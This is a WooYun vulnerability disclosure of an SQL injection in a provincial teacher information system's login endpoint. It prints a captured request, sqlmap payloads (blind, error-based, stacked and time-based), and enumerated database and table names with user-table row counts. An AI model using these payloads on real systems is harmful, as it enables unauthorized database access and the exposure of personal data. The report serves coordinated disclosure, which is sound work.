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缺陷编号：wooyun-2014-055402

漏洞标题：某省教师信息管理系统SQL注入

相关厂商：某省教师网

漏洞作者： m_vptr

提交时间：2014-04-03 14:17

修复时间：2014-05-18 14:18

公开时间：2014-05-18 14:18

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-04-03： 细节已通知厂商并且等待厂商处理中
2014-04-08： 厂商已经确认，细节仅向厂商公开
2014-04-18： 细节向核心白帽子及相关领域专家公开
2014-04-28： 细节向普通白帽子公开
2014-05-08： 细节向实习白帽子公开
2014-05-18： 细节向公众公开

简要描述：

SQL注入

详细说明：

http://www.jxteacher.com/admin/index.aspx 登录是一个ajax get请求http://www.jxteacher.com/Ajax/login.aspx?username=360121026019110153&userpwd=1&resultType=json，
url参数username可被注入

漏洞证明：

抓包

GET /Ajax/login.aspx?username=360121026019110153&userpwd=1&resultType=json HTTP/1.1
Host: www.jxteacher.com
Proxy-Connection: keep-alive
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36
Referer: http://www.jxteacher.com/Login.aspx?ReturnUrl=%2fadmin%2fadmin_index.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4
Cookie: ASP.NET_SessionId=novdyumhscp0t3ekb1wxls0i; UrlRef=http://www.jxteacher.com/admin/index.aspx

扫描报告

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: username
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=360121026019110153' AND 7978=7978 AND 'ZdHb'='ZdHb&userpwd=1&resultType=json
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: username=360121026019110153' AND 6923=CONVERT(INT,(SELECT CHAR(113)+CHAR(110)+CHAR(97)+CHAR(121)+CHAR(113)+(SELECT (CASE WHEN (6923=6923) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(104)+CHAR(112)+CHAR(116)+CHAR(113))) AND 'SRyP'='SRyP&userpwd=1&resultType=json
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: username=360121026019110153'; WAITFOR DELAY '0:0:5'--&userpwd=1&resultType=json
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: username=360121026019110153' WAITFOR DELAY '0:0:5'--&userpwd=1&resultType=json
---
[12:58:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008

列库

available databases [5]:
[*] jxteacher2012
[*] master
[*] model
[*] msdb
[*] tempdb

列表

web server operating system: Windows 2008
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
Database: jxteacher2012
+------------------------------------------------------+---------+
| Table                                                | Entries |
+------------------------------------------------------+---------+
| dbo.Cms_Contents                                     | 3700939 |
| dbo.vw_Cms_Columns_Contents                          | 3700939 |
| dbo.vw_CmsContentColumns                             | 3700939 |
| dbo.vw_SiteColumnUserContents                        | 3700938 |
| dbo.vw_CmsContentOneTwo                              | 3691856 |
| dbo.vw_cms_sites_columns_contents                    | 3691827 |
| dbo.vw_CmsContentColumnTexts                         | 3689861 |
| dbo.vw_CmsContentOneTwoText                          | 3689860 |
| dbo.dnt_posts1                                       | 2646014 |
| dbo.Blog_Topics                                      | 2056632 |
| dbo.vw_Blog_TopicList                                | 2055570 |
| dbo.vw_Blog_TopicOne                                 | 2055570 |
| dbo.vw_BlogContentColumns                            | 2055570 |
| dbo.vw_Topics                                        | 2055570 |
| dbo.Site_Logs                                        | 1871634 |
| dbo.vw_ContentIdSiteIdNoEquals                       | 1230633 |
| dbo.dnt_topics                                       | 808772  |
| dbo.vw_BlogUserTags                                  | 789791  |
| dbo.Blog_Users_Tags                                  | 789691  |
| dbo.Cms_Comments                                     | 618044  |
| dbo.vw_ContentComments                               | 617564  |
| dbo.vw_aspnet_MembershipUsers                        | 503758  |
| dbo.aspnet_UsersInRoles                              | 500279  |
| dbo.vw_aspnet_UsersInRoles                           | 500279  |
| dbo.aspnet_Users                                     | 463782  |
| 略。。。
| dbo.vw_Course_CurrTeamUserInfo_Users                 | 1       |
| dbo.vw_Course_CurrTemasUser_UserInfo                 | 1       |
| dbo.vw_Replys_Comment_Reply_UserInfo                 | 1       |
| dbo.vw_Replys_QueGetScore                            | 1       |
+------------------------------------------------------+---------+

修复方案：

你懂的

版权声明：转载请注明来源 m_vptr@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2014-04-08 08:36

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给江西分中心处置，涉及用户信息泄露风险，rank 14

最新状态：

暂无